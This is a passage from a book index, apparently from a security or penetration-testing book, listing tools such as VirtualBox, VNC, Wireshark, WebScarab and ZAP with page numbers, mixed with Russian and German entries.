67 VirtualBox 57, 60 VMware 57 VNC 216, 218, 224 VPN-сеть 211 Wants 85 watobo 265 Webformulare 218 WebInspect 265 Webkit 318 WebScarab 265 which 71 Wiki 25 Windows 65, 88, 257 установка 160 Wireshark 158 Workstation 57 XFCE 65 рабочий стол 32 Yahoo 165 ZAP 281